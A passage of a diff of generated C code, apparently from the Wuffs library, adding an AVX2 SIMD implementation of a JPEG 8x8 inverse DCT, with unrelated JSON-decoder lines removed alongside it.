v_k_29CF_1151_D630_1151 = {0}; ++ __m256i v_k_E333_133E_ADFD_1051 = {0}; ++ __m256i v_k_E6DC_25A1_1925_25A1 = {0}; ++ __m256i v_k_ECC1_E333_EFB0_ADFD = {0}; ++ __m128i v_az_coeffs = {0}; ++ __m256i v_az_ah00 = {0}; ++ __m256i v_az_ad00 = {0}; ++ __m256i v_az_eh00 = {0}; ++ __m256i v_az_adeh = {0}; ++ __m256i v_rows01 = {0}; ++ __m256i v_rows23 = {0}; ++ __m256i v_rows45 = {0}; ++ __m256i v_rows67 = {0}; ++ __m256i v_quants01 = {0}; ++ __m256i v_quants23 = {0}; ++ __m256i v_quants45 = {0}; ++ __m256i v_quants67 = {0}; ++ __m256i v_rows04 = {0}; ++ __m256i v_rows31 = {0}; ++ __m256i v_rows26 = {0}; ++ __m256i v_rows75 = {0}; ++ __m256i v_fp_rows62 = {0}; ++ __m256i v_fp_bq2662ad = {0}; ++ __m256i v_fp_bq2662eh = {0}; ++ __m256i v_fp_cb26ad = {0}; ++ __m256i v_fp_cb26eh = {0}; ++ __m256i v_fp_rows40pos = {0}; ++ __m256i v_fp_rows04neg = {0}; ++ __m256i v_fp_rows0pm4 = {0}; ++ __m256i v_fp_ccpmad = {0}; ++ __m256i v_fp_ccpmeh = {0}; ++ __m256i v_fp_cd01ad = {0}; ++ __m256i v_fp_cd01eh = {0}; ++ __m256i v_fp_cd32ad = {0}; ++ __m256i v_fp_cd32eh = {0}; ++ __m256i v_fp_sums7351 = {0}; ++ __m256i v_fp_sums5173 = {0}; ++ __m256i v_fp_ci73515173ad = {0}; ++ __m256i v_fp_ci73515173eh = {0}; ++ __m256i v_fp_cl7351ad = {0}; ++ __m256i v_fp_cl7351eh = {0}; ++ __m256i v_fp_rows13 = {0}; ++ __m256i v_fp_bq7153ad = {0}; ++ __m256i v_fp_bq7153eh = {0}; ++ __m256i v_fp_ck75ad = {0}; ++ __m256i v_fp_ck75eh = {0}; ++ __m256i v_fp_cl5173ad = {0}; ++ __m256i v_fp_cl5173eh = {0}; ++ __m256i v_fp_ck13ad = {0}; ++ __m256i v_fp_ck13eh = {0}; ++ __m256i v_intermediate01ad = {0}; ++ __m256i v_intermediate01eh = {0}; ++ __m256i v_intermediate01 = {0}; ++ __m256i v_intermediate32ad = {0}; ++ __m256i v_intermediate32eh = {0}; ++ __m256i v_intermediate32 = {0}; ++ __m256i v_intermediate45ad = {0}; ++ __m256i v_intermediate45eh = {0}; ++ __m256i v_intermediate45 = {0}; ++ __m256i v_intermediate76ad = {0}; ++ __m256i v_intermediate76eh = {0}; ++ __m256i v_intermediate76 = {0}; ++ __m256i v_ita0a1e0e1 = {0}; ++ __m256i v_ita2a3e2e3 = {0}; ++ __m256i v_ita4a5e4e5 = {0}; ++ __m256i v_ita6a7e6e7 = {0}; ++ __m256i v_ita0c0e0g0 = {0}; ++ __m256i v_ita1c1e1g1 = {0}; ++ __m256i v_ita4c4e4g4 = {0}; ++ __m256i v_ita5c5e5g5 = {0}; ++ __m256i v_ita0b0e0f0 = {0}; ++ __m256i v_ita4b4e4f4 = {0}; ++ __m256i v_itc0d0g0h0 = {0}; ++ __m256i v_itc4d4g4h4 = {0}; ++ __m256i v_intermediateae = {0}; ++ __m256i v_intermediatebf = {0}; ++ __m256i v_intermediatecg = {0}; ++ __m256i v_intermediatedh = {0}; ++ __m256i v_intermediatedb = {0}; ++ __m256i v_intermediatehf = {0}; ++ __m256i v_sp_cols62 = {0}; ++ __m256i v_sp_bq2662ad = {0}; ++ __m256i v_sp_bq2662eh = {0}; ++ __m256i v_sp_rb26ad = {0}; ++ __m256i v_sp_rb26eh = {0}; ++ __m256i v_sp_cols40pos = {0}; ++ __m256i v_sp_cols04neg = {0}; ++ __m256i v_sp_cols0pm4 = {0}; ++ __m256i v_sp_rcpmad = {0}; ++ __m256i v_sp_rcpmeh = {0}; ++ __m256i v_sp_rd01ad = {0}; ++ __m256i v_sp_rd01eh = {0}; ++ __m256i v_sp_rd32ad = {0}; ++ __m256i v_sp_rd32eh = {0}; ++ __m256i v_sp_sums7351 = {0}; ++ __m256i v_sp_sums5173 = {0}; ++ __m256i v_sp_ri73515173ad = {0}; ++ __m256i v_sp_ri73515173eh = {0}; ++ __m256i v_sp_rl7351ad = {0}; ++ __m256i v_sp_rl7351eh = {0}; ++ __m256i v_sp_cols13 = {0}; ++ __m256i v_sp_bq7153ad = {0}; ++ __m256i v_sp_bq7153eh = {0}; ++ __m256i v_sp_rk75ad = {0}; ++ __m256i v_sp_rk75eh = {0}; ++ __m256i v_sp_rl5173ad = {0}; ++ __m256i v_sp_rl5173eh = {0}; ++ __m256i v_sp_rk13ad = {0}; ++ __m256i v_sp_rk13eh = {0}; ++ __m256i v_final01ad = {0}; ++ __m256i v_final01eh = {0}; ++ __m256i v_final01 = {0}; ++ __m256i v_final32ad = {0}; ++ __m256i v_final32eh = {0}; ++ __m256i v_final32 = {0}; ++ __m256i v_final45ad = {0}; ++ __m256i v_final45eh = {0}; ++ __m256i v_final45 = {0}; ++ __m256i v_final76ad = {0}; ++ __m256i v_final76eh = {0}; ++ __m256i v_final76 = {0}; ++ __m256i v_fta0a1e0e1 = {0}; ++ __m256i v_fta2a3e2e3 = {0}; ++ __m256i v_fta4a5e4e5 = {0}; ++ __m256i v_fta6a7e6e7 = {0}; ++ __m256i v_fta0c0e0g0 = {0}; ++ __m256i v_fta1c1e1g1 = {0}; ++ __m256i v_fta4c4e4g4 = {0}; ++ __m256i v_fta5c5e5g5 = {0}; ++ __m256i v_fta0b0e0f0 = {0}; ++ __m256i v_ftc0d0g0h0 = {0}; ++ __m256i v_fta4b4e4f4 = {0}; ++ __m256i v_ftc4d4g4h4 = {0}; ++ __m256i v_finalae = {0}; ++ __m256i v_finalbf = {0}; ++ __m256i v_finalcg = {0}; ++ __m256i v_finaldh = {0}; ++ __m256i v_final0145 = {0}; ++ __m256i v_final2367 = {0}; ++ uint64_t v_final0 = 0; ++ uint64_t v_final1 = 0; ++ uint64_t v_final2 = 0; ++ uint64_t v_final3 = 0; ++ uint64_t v_final4 = 0; ++ uint64_t v_final5 = 0; ++ uint64_t v_final6 = 0; ++ uint64_t v_final7 = 0; ++ wuffs_base__slice_u8 v_remaining = {0}; + +- uint32_t coro_susp_point = self->private_impl.p_decode_tokens[0]; +- if (coro_susp_point) { +- v_depth = self->private_data.s_decode_tokens[0].v_depth; +- v_expect = self->private_data.s_decode_tokens[0].v_expect; +- v_expect_after_value = self->private_data.s_decode_tokens[0].v_expect_after_value; ++ if (8u > a_dst_stride) { ++ return wuffs_base__make_empty_struct(); + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- if (self->private_impl.f_end_of_data) { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- if (self->private_impl.f_quirks[18u]) { +- if (self->private_impl.f_quirks[11u] || self->private_impl.f_quirks[12u] || self->private_impl.f_quirks[17u]) { +- status = wuffs_base__make_status(wuffs_json__error__bad_quirk_combination); +- goto exit; ++ v_k_0000 = _mm256_set_epi16((int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u)); ++ v_k_8080 = _mm256_set_epi16((int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u)); ++ v_k_0000_0002 = _mm256_set_epi16((int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u)); ++ v_k_0001_FFFF = _mm256_set_epi16((int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u)); ++ v_k_0400_0000 = _mm256_set_epi16((int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u)); ++ v_k_29CF_1151_D630_1151 = _mm256_set_epi16((int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u)); ++ v_k_E333_133E_ADFD_1051 = _mm256_set_epi16((int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u)); ++ v_k_E6DC_25A1_1925_25A1 = _mm256_set_epi16((int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u)); ++ v_k_ECC1_E333_EFB0_ADFD = _mm256_set_epi16((int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u)); ++ do { ++ if (0u == (wuffs_base__peek_u64le__no_bounds_check((const uint8_t*)(const void*)(self->private_data.f_mcu_blocks[0u] + 8u)) | wuffs_base__peek_u64le__no_bounds_check((const uint8_t*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u)))) { ++ v_az_coeffs = _mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 8u)), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 24u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 32u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 40u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 48u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 56u))); ++ if (0u == ((uint64_t)(_mm_cvtsi128_si64(_mm_packs_epi16(v_az_coeffs, v_az_coeffs))))) { ++ v_rows01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 0u)); ++ v_quants01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 0u)); ++ v_rows01 = _mm256_mullo_epi16(v_rows01, v_quants01); ++ v_az_ah00 = _mm256_slli_epi16(v_rows01, (int32_t)(2u)); ++ v_az_ad00 = _mm256_unpacklo_epi16(v_az_ah00, v_az_ah00); ++ v_az_eh00 = _mm256_unpackhi_epi16(v_az_ah00, v_az_ah00); ++ v_az_adeh = _mm256_inserti128_si256(v_az_ad00, _mm256_castsi256_si128(v_az_eh00), (int32_t)(1u)); ++ v_intermediateae = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(0u)); ++ v_intermediatebf = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(85u)); ++ v_intermediatecg = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(170u)); ++ v_intermediatedh = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(255u)); ++ break; + } + } +- if (self->private_impl.f_quirks[15u] || self->private_impl.f_quirks[16u]) { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_json__decoder__decode_leading(self, a_dst, a_src); +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } ++ v_rows01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 0u)); ++ v_rows23 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u)); ++ v_rows45 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 32u)); ++ v_rows67 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 48u)); ++ v_quants01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 0u)); ++ v_quants23 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 16u)); ++ v_quants45 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 32u)); ++ v_quants67 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 48u)); ++ v_rows01 = _mm256_mullo_epi16(v_rows01, v_quants01); ++ v_rows23 = _mm256_mullo_epi16(v_rows23, v_quants23); ++ v_rows45 = _mm256_mullo_epi16(v_rows45, v_quants45); ++ v_rows67 = _mm256_mullo_epi16(v_rows67, v_quants67); ++ v_rows04 = _mm256_permute2x128_si256(v_rows01, v_rows45, (int32_t)(32u)); ++ v_rows31 = _mm256_permute2x128_si256(v_rows23, v_rows01, (int32_t)(49u)); ++ v_rows26 = _mm256_permute2x128_si256(v_rows23, v_rows67, (int32_t)(32u)); ++ v_rows75 = _mm256_permute2x128_si256(v_rows67, v_rows45, (int32_t)(49u)); ++ v_fp_rows62 = _mm256_permute2x128_si256(v_rows26, v_rows26, (int32_t)(1u)); ++ v_fp_bq2662ad = _mm256_unpacklo_epi16(v_rows26, v_fp_rows62); ++ v_fp_bq2662eh = _mm256_unpackhi_epi16(v_rows26, v_fp_rows62); ++ v_fp_cb26ad = _mm256_madd_epi16(v_fp_bq2662ad, v_k_29CF_1151_D630_1151); ++ v_fp_cb26eh = _mm256_madd_epi16(v_fp_bq2662eh, v_k_29CF_1151_D630_1151); ++ v_fp_rows40pos = _mm256_permute2x128_si256(v_rows04, v_rows04, (int32_t)(1u)); ++ v_fp_rows04neg = _mm256_sign_epi16(v_rows04, v_k_0001_FFFF); ++ v_fp_rows0pm4 = _mm256_add_epi16(v_fp_rows40pos, v_fp_rows04neg); ++ v_fp_ccpmad = _mm256_srai_epi32(_mm256_unpacklo_epi16(v_k_0000, v_fp_rows0pm4), (int32_t)(3u)); ++ v_fp_ccpmeh = _mm256_srai_epi32(_mm256_unpackhi_epi16(v_k_0000, v_fp_rows0pm4), (int32_t)(3u)); ++ v_fp_cd01ad = _mm256_add_epi32(v_fp_ccpmad, v_fp_cb26ad); ++ v_fp_cd01eh = _mm256_add_epi32(v_fp_ccpmeh, v_fp_cb26eh); ++ v_fp_cd32ad = _mm256_sub_epi32(v_fp_ccpmad, v_fp_cb26ad); ++ v_fp_cd32eh = _mm256_sub_epi32(v_fp_ccpmeh, v_fp_cb26eh); ++ v_fp_sums7351 = _mm256_add_epi16(v_rows75, v_rows31); ++ v_fp_sums5173 = _mm256_permute2x128_si256(v_fp_sums7351, v_fp_sums7351, (int32_t)(1u)); ++ v_fp_ci73515173ad = _mm256_unpacklo_epi16(v_fp_sums7351, v_fp_sums5173); ++ v_fp_ci73515173eh = _mm256_unpackhi_epi16(v_fp_sums7351, v_fp_sums5173); ++ v_fp_cl7351ad = _mm256_madd_epi16(v_fp_ci73515173ad, v_k_E6DC_25A1_1925_25A1); ++ v_fp_cl7351eh = _mm256_madd_epi16(v_fp_ci73515173eh, v_k_E6DC_25A1_1925_25A1); ++ v_fp_rows13 = _mm256_permute2x128_si256(v_rows31, v_rows31, (int32_t)(1u)); ++ v_fp_bq7153ad = _mm256_unpacklo_epi16(v_rows75, v_fp_rows13); ++ v_fp_bq7153eh = _mm256_unpackhi_epi16(v_rows75, v_fp_rows13); ++ v_fp_ck75ad = _mm256_add_epi32(_mm256_madd_epi16(v_fp_bq7153ad, v_k_ECC1_E333_EFB0_ADFD), v_fp_cl7351ad); ++ v_fp_ck75eh = _mm256_add_epi32(_mm256_madd_epi16(v_fp_bq7153eh, v_k_ECC1_E333_EFB0_ADFD), v_fp_cl7351eh); ++ v_fp_cl5173ad = _mm256_permute2x128_si256(v_fp_cl7351ad, v_fp_cl7351ad, (int32_t)(1u)); ++ v_fp_cl5173eh = _mm256_permute2x128_si256(v_fp_cl7351eh, v_fp_cl7351eh, (int32_t)(1u)); ++ v_fp_ck13ad = _mm256_add_epi32(v_fp_cl5173ad, _mm256_madd_epi16(v_fp_bq7153ad, v_k_E333_133E_ADFD_1051)); ++ v_fp_ck13eh = _mm256_add_epi32(v_fp_cl5173eh, _mm256_madd_epi16(v_fp_bq7153eh, v_k_E333_133E_ADFD_1051)); ++ v_intermediate01ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd01ad, v_fp_ck13ad), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate01eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd01eh, v_fp_ck13eh), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate01 = _mm256_packs_epi32(v_intermediate01ad, v_intermediate01eh); ++ v_intermediate32ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd32ad, v_fp_ck75ad), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate32eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd32eh, v_fp_ck75eh), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate32 = _mm256_packs_epi32(v_intermediate32ad, v_intermediate32eh); ++ v_intermediate45ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd32ad, v_fp_ck75ad), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate45eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd32eh, v_fp_ck75eh), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate45 = _mm256_packs_epi32(v_intermediate45ad, v_intermediate45eh); ++ v_intermediate76ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd01ad, v_fp_ck13ad), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate76eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd01eh, v_fp_ck13eh), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate76 = _mm256_packs_epi32(v_intermediate76ad, v_intermediate76eh); ++ v_ita0a1e0e1 = _mm256_permute4x64_epi64(v_intermediate01, (int32_t)(216u)); ++ v_ita2a3e2e3 = _mm256_permute4x64_epi64(v_intermediate32, (int32_t)(114u)); ++ v_ita4a5e4e5 = _mm256_permute4x64_epi64(v_intermediate45, (int32_t)(216u)); ++ v_ita6a7e6e7 = _mm256_permute4x64_epi64(v_intermediate76, (int32_t)(114u)); ++ v_ita0c0e0g0 = _mm256_unpacklo_epi16(v_ita0a1e0e1, v_ita2a3e2e3); ++ v_ita1c1e1g1 = _mm256_unpackhi_epi16(v_ita0a1e0e1, v_ita2a3e2e3); ++ v_ita4c4e4g4 = _mm256_unpacklo_epi16(v_ita4a5e4e5, v_ita6a7e6e7); ++ v_ita5c5e5g5 = _mm256_unpackhi_epi16(v_ita4a5e4e5, v_ita6a7e6e7); ++ v_ita0b0e0f0 = _mm256_unpacklo_epi16(v_ita0c0e0g0, v_ita1c1e1g1); ++ v_itc0d0g0h0 = _mm256_unpackhi_epi16(v_ita0c0e0g0, v_ita1c1e1g1); ++ v_ita4b4e4f4 = _mm256_unpacklo_epi16(v_ita4c4e4g4, v_ita5c5e5g5); ++ v_itc4d4g4h4 = _mm256_unpackhi_epi16(v_ita4c4e4g4, v_ita5c5e5g5); ++ v_intermediateae = _mm256_unpacklo_epi64(v_ita0b0e0f0, v_ita4b4e4f4); ++ v_intermediatebf = _mm256_unpackhi_epi64(v_ita0b0e0f0, v_ita4b4e4f4); ++ v_intermediatecg = _mm256_unpacklo_epi64(v_itc0d0g0h0, v_itc4d4g4h4); ++ v_intermediatedh = _mm256_unpackhi_epi64(v_itc0d0g0h0, v_itc4d4g4h4); ++ } while (0); ++ v_intermediatedb = _mm256_permute2x128_si256(v_intermediatedh, v_intermediatebf, (int32_t)(32u)); ++ v_intermediatehf = _mm256_permute2x128_si256(v_intermediatedh, v_intermediatebf, (int32_t)(49u)); ++ v_sp_cols62 = _mm256_permute2x128_si256(v_intermediatecg, v_intermediatecg, (int32_t)(1u)); ++ v_sp_bq2662ad = _mm256_unpacklo_epi16(v_intermediatecg, v_sp_cols62); ++ v_sp_bq2662eh = _mm256_unpackhi_epi16(v_intermediatecg, v_sp_cols62); ++ v_sp_rb26ad = _mm256_madd_epi16(v_sp_bq2662ad, v_k_29CF_1151_D630_1151); ++ v_sp_rb26eh = _mm256_madd_epi16(v_sp_bq2662eh, v_k_29CF_1151_D630_1151); ++ v_sp_cols40pos = _mm256_permute2x128_si256(v_intermediateae, v_intermediateae, (int32_t)(1u)); ++ v_sp_cols04neg = _mm256_sign_epi16(v_intermediateae, v_k_0001_FFFF); ++ v_sp_cols0pm4 = _mm256_add_epi16(v_sp_cols40pos, v_sp_cols04neg); ++ v_sp_rcpmad = _mm256_srai_epi32(_mm256_unpacklo_epi16(v_k_0000, v_sp_cols0pm4), (int32_t)(3u)); ++ v_sp_rcpmeh = _mm256_srai_epi32(_mm256_unpackhi_epi16(v_k_0000, v_sp_cols0pm4), (int32_t)(3u)); ++ v_sp_rd01ad = _mm256_add_epi32(v_sp_rcpmad, v_sp_rb26ad); ++ v_sp_rd01eh = _mm256_add_epi32(v_sp_rcpmeh, v_sp_rb26eh); ++ v_sp_rd32ad = _mm256_sub_epi32(v_sp_rcpmad, v_sp_rb26ad); ++ v_sp_rd32eh = _mm256_sub_epi32(v_sp_rcpmeh, v_sp_rb26eh); ++ v_sp_sums7351 = _mm256_add_epi16(v_intermediatehf, v_intermediatedb); ++ v_sp_sums5173 = _mm256_permute2x128_si256(v_sp_sums7351, v_sp_sums7351, (int32_t)(1u)); ++ v_sp_ri73515173ad = _mm256_unpacklo_epi16(v_sp_sums7351, v_sp_sums5173); ++ v_sp_ri73515173eh = _mm256_unpackhi_epi16(v_sp_sums7351, v_sp_sums5173); ++ v_sp_rl7351ad = _mm256_madd_epi16(v_sp_ri73515173ad, v_k_E6DC_25A1_1925_25A1); ++ v_sp_rl7351eh = _mm256_madd_epi16(v_sp_ri73515173eh, v_k_E6DC_25A1_1925_25A1); ++ v_sp_cols13 = _mm256_permute2x128_si256(v_intermediatedb, v_intermediatedb, (int32_t)(1u)); ++ v_sp_bq7153ad = _mm256_unpacklo_epi16(v_intermediatehf, v_sp_cols13); ++ v_sp_bq7153eh = _mm256_unpackhi_epi16(v_intermediatehf, v_sp_cols13); ++ v_sp_rk75ad = _mm256_add_epi32(_mm256_madd_epi16(v_sp_bq7153ad, v_k_ECC1_E333_EFB0_ADFD), v_sp_rl7351ad); ++ v_sp_rk75eh = _mm256_add_epi32(_mm256_madd_epi16(v_sp_bq7153eh, v_k_ECC1_E333_EFB0_ADFD), v_sp_rl7351eh); ++ v_sp_rl5173ad = _mm256_permute2x128_si256(v_sp_rl7351ad, v_sp_rl7351ad, (int32_t)(1u)); ++ v_sp_rl5173eh = _mm256_permute2x128_si256(v_sp_rl7351eh, v_sp_rl7351eh, (int32_t)(1u)); ++ v_sp_rk13ad = _mm256_add_epi32(v_sp_rl5173ad, _mm256_madd_epi16(v_sp_bq7153ad, v_k_E333_133E_ADFD_1051)); ++ v_sp_rk13eh = _mm256_add_epi32(v_sp_rl5173eh, _mm256_madd_epi16(v_sp_bq7153eh, v_k_E333_133E_ADFD_1051)); ++ v_final01ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd01ad, v_sp_rk13ad), v_k_0000_0002), (int32_t)(18u)); ++ v_final01eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd01eh, v_sp_rk13eh), v_k_0000_0002), (int32_t)(18u)); ++ v_final01 = _mm256_packs_epi32(v_final01ad, v_final01eh); ++ v_final32ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd32ad, v_sp_rk75ad), v_k_0000_0002), (int32_t)(18u)); ++ v_final32eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd32eh, v_sp_rk75eh), v_k_0000_0002), (int32_t)(18u)); ++ v_final32 = _mm256_packs_epi32(v_final32ad, v_final32eh); ++ v_final45ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd32ad, v_sp_rk75ad), v_k_0000_0002), (int32_t)(18u)); ++ v_final45eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd32eh, v_sp_rk75eh), v_k_0000_0002), (int32_t)(18u)); ++ v_final45 = _mm256_packs_epi32(v_final45ad, v_final45eh); ++ v_final76ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd01ad, v_sp_rk13ad), v_k_0000_0002), (int32_t)(18u)); ++ v_final76eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd01eh, v_sp_rk13eh), v_k_0000_0002), (int32_t)(18u)); ++ v_final76 = _mm256_packs_epi32(v_final76ad, v_final76eh); ++ v_fta0a1e0e1 = _mm256_permute4x64_epi64(v_final01, (int32_t)(216u)); ++ v_fta2a3e2e3 = _mm256_permute4x64_epi64(v_final32, (int32_t)(114u)); ++ v_fta4a5e4e5 = _mm256_permute4x64_epi64(v_final45, (int32_t)(216u)); ++ v_fta6a7e6e7 = _mm256_permute4x64_epi64(v_final76, (int32_t)(114u)); ++ v_fta0c0e0g0 = _mm256_unpacklo_epi16(v_fta0a1e0e1, v_fta2a3e2e3); ++ v_fta1c1e1g1 = _mm256_unpackhi_epi16(v_fta0a1e0e1, v_fta2a3e2e3); ++ v_fta4c4e4g4 = _mm256_unpacklo_epi16(v_fta4a5e4e5, v_fta6a7e6e7); ++ v_fta5c5e5g5 = _mm256_unpackhi_epi16(v_fta4a5e4e5, v_fta6a7e6e7); ++ v_fta0b0e0f0 = _mm256_unpacklo_epi16(v_fta0c0e0g0, v_fta1c1e1g1); ++ v_ftc0d0g0h0 = _mm256_unpackhi_epi16(v_fta0c0e0g0, v_fta1c1e1g1); ++ v_fta4b4e4f4 = _mm256_unpacklo_epi16(v_fta4c4e4g4, v_fta5c5e5g5); ++ v_ftc4d4g4h4 = _mm256_unpackhi_epi16(v_fta4c4e4g4, v_fta5c5e5g5); ++ v_finalae = _mm256_unpacklo_epi64(v_fta0b0e0f0, v_fta4b4e4f4); ++ v_finalbf = _mm256_unpackhi_epi64(v_fta0b0e0f0, v_fta4b4e4f4); ++ v_finalcg = _mm256_unpacklo_epi64(v_ftc0d0g0h0, v_ftc4d4g4h4); ++ v_finaldh = _mm256_unpackhi_epi64(v_ftc0d0g0h0, v_ftc4d4g4h4); ++ v_final0145 = _mm256_add_epi8(_mm256_packs_epi16(v_finalae, v_finalbf), v_k_8080); ++ v_final2367 = _mm256_add_epi8(_mm256_packs_epi16(v_finalcg, v_finaldh), v_k_8080); ++ v_final0 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(0u)))); ++ v_final1 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(1u)))); ++ v_final2 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(0u)))); ++ v_final3 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(1u)))); ++ v_final4 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(2u)))); ++ v_final5 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(3u)))); ++ v_final6 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(2u)))); ++ v_final7 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(3u)))); ++ if (a_dst_stride > 